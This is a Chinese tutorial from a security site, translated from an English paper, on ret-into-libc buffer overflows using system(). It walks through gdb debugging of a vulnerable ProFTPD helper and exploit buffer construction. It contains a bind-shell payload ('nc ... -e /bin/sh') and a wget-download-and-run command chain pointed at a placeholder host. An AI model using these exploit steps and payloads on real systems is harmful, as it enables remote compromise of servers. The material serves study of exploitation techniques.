通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络编程 >> 文章正文
system()在溢出中的利用
责任编辑:admin   更新日期:2005-7-6
 
翻译整理自  《Advanced usage of system() function》,  原文下载
http://pi3.int.pl/papers/ret-en.txt,截取其中关键部分翻译整理,希望可以给喜欢研究溢出的朋
友提供—些帮助.
    近几年来,计算机系统在增强安全性上有了很大的发展,一些增强型的内核补丁之类.
很好地防范了溢出的被利用,造成写exploit的难度大大增加了.Exploit的技术也相对不断
发展其中ret-into-libc技术可以很好地避开某些限制,又是写exploit的一条罗马大道.
    对比—下槽统的溢出利用方式,expoit构建一个buf,覆盖了net地址然后跳转到有一大串
NOP的内存某处,由于NOP的妙处NOP后面的shellcode最终被运行了.在ret-into-libc
中,system()很好的再现了类似的溢出利用方式
    system()的效果相当于运行一个shell命令(sh -c <command>),以下是system()在exploit
利用时可以构建buffer的样子:
  |NOPs(space,>)|command(eg.nc..)|system()addr|4bytes shits|NOP addr|
  首先是ret,这里ret的地址是system()的地址,用它覆盖EIP,紧跟是4bytes的垃圾数
据,接下来就是要运行的命令所在的内存地址.为了增加成功率,跟传统溢出中构建buffer
一样.可以用—大堆的NOP来移动到目的地.这里可以用来作为NOP的字符有多个,包括
空格( ),分号(;),锯齿符(')和斜线(/)
    对以上每个符号在shell里测试一番(省略,译者注)
    以下用实例宋分析实际使用,Ftpdctl是—个ProFTPD的附加程序,其中ruln func函数有一个溢出,源代码下载http://pi3.int.pl/private/0day/p_ftpdctl.c
    编译一下就运行:

root@pi3:~#gcc server.c -o server
root@pi3:~#./server

    然后就可以测试了,针对vuln后面的参数:

root@pi3:~#telnet localhost 666
......
vuln AAA (溢出的地方)
Vuln runing...
Copying bytes...
DONE
Return to the main loop (因为数据长度载范围内,不会发生溢出)
quit
root@pi3:~#telnet localhost 666
......
vuln AAA (A*129,输入多达129个A字符)
child 1391 terminated (溢出发生了)
Vuln runing...
Copying bytes...
DONE
Return to the main loop
Connection closed by foreign host.

    当然,这里的129个"A"是通过不断尝试后定位出来的,调试工具用gdb,平台Redhat 9 (译者自己测试过程)

[root@RH9 root]#telnet localhost 666
......
vuln AAA(A*129, 输入多达129个A字符)

    暂且不要按回车,再打开一个窗口,用于gdb调试:

[root@RH9 root]#netstat -anp|grep server|grep ESTABLISHED (得到进程号)
[root@RH9 root]#gdb server 1701
......
0xffffe002 in ??()
(gdb)c
Continuing.  (这个时候回到第一个窗口按下回车)
.....
Program received signal SIGSEGV,Segmentation fault.
0x41414141 in ??() (EIP被最后4个A覆盖了)
(gdb)p system  (得到system()的地址)
$1={<text variable,no debug info>}0x4203f2c0<system>
(gdb)i reg esp  (得到ESP的地址)
esp       0xbfffe140       0xbfffe140
(gdb)x/20x 0xbfffe140 (在ESP附近找找我们构建的buf)
0xbfffe140: 0x000a0d41 0x00000004 0x000000c8 0x00000000
0xbfffe150: 0xbfffe230 0x40008156 0x08048422 0x00000000
0xbfffe160: 0x6e6c7576 0x41414120 0x41414141 0x41414141
0xbfffe170: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe180: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)q

    好了,通过上面的调试,几个关键数据我们都得到了,下面可以构建exploit.看看原文中的exploit,我这里将几个关键的地方指出来:

#define BUFS 150  (150的buf,已经足够了,不是关键)
#define LIBC_SYSTEM 0x4005de80 (system()的地址,译者系统中是0x4203f2c0)
#define LIBC_NEXT_0x4D414441 (四位垃圾数据,可用"AAAA"填充)
return 0xbffff890  (buf数据拷贝到堆中的大概地址,可以选一个不包括'00'的内存地址,译者系统中是0xbfffe170,也可以是0xbfffe180,是放NOP的地方)
bzero(buf,sizeof(buf));  (buf全部置零)
strcpy(buf,"vuln");  (拷贝命令)
for(i=0x00;i<120;i++){
buf[4+i]='`';}   (填充NOP,这里用'`',也可以用'/')
strcpy(&buf[108],"nc -p 1 -l -e /bin/sh"); (溢出成功后想要运行的命令)
buf_addr=(long*)&buf[129];
*(buf_addr++)=LIBC_SYSTEM;
*(buf_addr++)=LIBC_SYSTEM;
*(buf_addr++)=LIBC_SYSTEM;
*(buf_addr++)=LIBC_NEXT_;
*(buf_addr++)-ret_ad();  (从buf的130处开始,覆盖system()的地址,接着是四个垃圾数据,然后四位就是NOP-'`'所在的内存地址)

    编译运行exploit,成功溢出后运行了nc命令,但是-e所绑定的程序名不对,是后面的一些乱码引起的。将nc命令行往前移动两位即可。

strcpy(&buf[106],"nc -p 1 -l -e /bin/sh"); (溢出成功后向运行的命令,先前移动两位)

    编译运行exploit,OK。

        原文最后,作者详细举了几个例子描述了关于system()中NOP的几个符号的利用,理解                                                                     
此部分对增加exploit的成功率也是有很大帮助的,读者可以参看原文
    这里,提供一些可能有用的信息。首先,关于exploit的模板,后来作者写的一个针对
Citadel/UX 的热remote exploit就比较好了,可以下载从
    首先在运行的命令上,作者就利用了分号';'宋运行多个命令,实现了多样化的要求,关键
还是增加了准确性这里译者加一个小小经验说得,有时候第一个命令失败,所以如果你想
运行以下命令"cd //tmp;wget http://your-site-here.com/a;/tmp/a"的时候,你最好写成"cd,cd
/tmp;wget http://your-site-here.com/a;/tmp/a;",因为第一个cd命令可能失效
   Nc默认在Redhat上安装的版本没有编译-e这个参数,可以改用其他命令
    作者在neb-private中还加入了测试是否成功的功能,译者发现某些时候,这个功能反而
会降低exploit的功率,所以可以在溢出和检测之间停留一点时间

exploit(argv[1],targ,atoi(argv[3])); (溢出部分)
sleep(2);    (停留2秒可明显提高成功率,具体原因不明^-^)
fuck(argv[1]);    (检测是否溢出成功部分)

最后,写成exploit后,从构建buf到发送数据过去都是一瞬间的事情,万一没有溢出成功,而gdb无法及时测试过程。这个时候,可以在exploit中建立socket后,加一行sleep(1),用gdb启动这个exploit,break在sleep的地方,这个时候在第二个窗口就可以看到这个连接,并且获得进程号,然后用gdb来attack那个子进程用于调试。
    译者建议初学者首先阅读原文,然后根据译文中部分提出自己调试这个p_ftpdctl.c的漏洞,至于exploit,建议用neb-private.c模板,比原文中的exploit要有条理得多。测试完p_ftpdctl.c,对system()的利用就有经验了,为加深理解,可以试着根据neb-private.c来调试Citadel/UX的那个漏洞。最后则再联系,用没有exploit可以参考的csr-server-bof.c(http://www.covertsystems.org/challenges/csr-server-bof.c)来调试,这样三个漏洞调试下来,我想基本上对bof的远程溢出就有了初步的心得了。
    最后,译者自身经验不足,尚有多处地方不理解,译文不足之处,望指点改正。

                                                 Cloie  2004-10-13
                                                 http://www.ph4nt0m.org

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题